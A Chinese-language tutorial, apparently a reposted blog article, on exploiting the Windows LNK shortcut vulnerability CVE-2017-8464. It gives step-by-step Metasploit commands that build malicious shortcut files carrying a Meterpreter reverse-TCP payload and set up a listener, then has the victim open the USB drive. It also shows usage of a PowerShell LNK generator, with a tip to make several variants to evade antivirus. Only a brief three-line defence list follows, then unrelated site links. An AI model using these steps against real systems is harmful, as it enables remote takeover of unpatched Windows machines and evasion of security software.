“震网三代”(CVE-2017-8464)的几种利用方法与防范
早在6月13日,微软发布补丁修复编号为CVE-2017-8464的漏洞,本地用户或远程攻击者可以利用该漏洞生成特制的快捷方式,并通过可移动设备或者远程共享的方式导致远程代码执行,追溯到以前,NSA就承认利用过相似漏洞且以“Olympic Game”为代号研发震网病毒,来阻止伊朗发展核武。
CVE-2017-8464漏洞影响版本:
Windows 7 Windows 8.1 Windows RT 8.1 Windows 10 Windows Server 2008 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2 Windows Server 2016
利用
1)在Metasploit-Framework中利用CVE-2017-8464
1.首先下载最新的zip包【点此下载】,下载完成后将压缩包内modules/exploits/windows/fileformat中的cve_2017_8464_lnk_rce.rb复制到目录/usr/share/metasploit-framework/modules/exploits/windows/fileformat下。
2.仅复制rb文件会出错,须再将压缩包内data/exploits中的cve-2017-8464文件夹复制到/usr/share/metasploit-framework/data/exploits中。
3.打开终端
msfconsole
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [你的IP地址]
exploit
之后/root/.msf4/local中就会生成我们想要的文件了,生成这么多和盘符有关,都留着也不占地方。
4.继续输入命令
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST [你的IP地址]
run
5.将可移动磁盘插入靶机中,如果靶机开启了自动播放,选择浏览文件时即可回弹。
演示:
*2)PowerShell
这个使用Powershell的方法并非先前网络上流传的CVE-2017-8464复现方法。
首先下载Export-LNKPwn.ps1 <点击阅读原文查看该文件>
注意:
-需要4.0或以上.NET库版本,作者使用了一些只有PowerShell 5.0才有的构造函数(如new()),他打算将版本要求降低到.NET 3.5 和PowerShell 2.0,这样的话模块在所有目标环境中都能被载入内存。 -作者想拓展函数,让用户可以生成原始的震网LNK exp(CVE-2010-2568),并解决绕过问题(CVE-2015-0096). -杀毒软件会处理你的LNK,多准备来躲避检测!
参数说明:
LNKOutPath:本地保存LNK文件的全路径。
TargetCPLPath:本地/远程目标cpl的全路径。
Type:所使用的FolderDataBlock类型,有“SpecialFolderDataBlock”和“KnownFolderDataBlock”两种。
使用示例:
C:PS> Export-LNKPwn -LNKOutPath C:SomeLocalPath.lnk -TargetCPLPath C:TargetCPLPath.cpl -Type SpecialFolderDataBlock
C:PS> Export-LNKPwn -LNKOutPath C:SomeLocalPath.lnk -TargetCPLPath C:TargetCPLPath.cpl -Type KnownFolderDataBlock
演示视频:
3)Python脚本
使用较为方便,点击阅读原文查看。
C)防范
1.及时打上相应补丁
2.关闭USB自动播放
3.安装杀毒软件
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 百度一二三面!喜提提起批offer!别问,问就是牛逼!
- 一天一大 leet(计算右侧小于当前元素的个数)难度:困难-Day20200711
- Spring 下,关于动态数据源的事务问题的探讨
- 面试再问 HashMap,求你把这篇文章发给他!
- FestIN:一款功能强大的S3 Buckets数据内容搜索工具
- 一天一大 leet(地下城游戏)难度:困难-Day20200712
- 【MongoDB】mongodb4.4版本新特性
- 一天一大 leet(数组中的第 K 个最大元素)难度:中等 DAY-29
- 线程之生产者消费者模式
- Redis学习笔记 -- 2
- 一天一大 leet(单词拆分)难度:中等 DAY-25
- 多线程必考的「生产者 - 消费者」模型,看乔戈里这篇文章就够了
- 一天一大 leet(三角形最小路径和)难度:中等-Day20200715
- 一天一大 leet(将有序数组转换为二叉搜索树)难度:简单-Day20200703
- 一天一大 leet(缺失的第一个正数)难度:困难DAY-27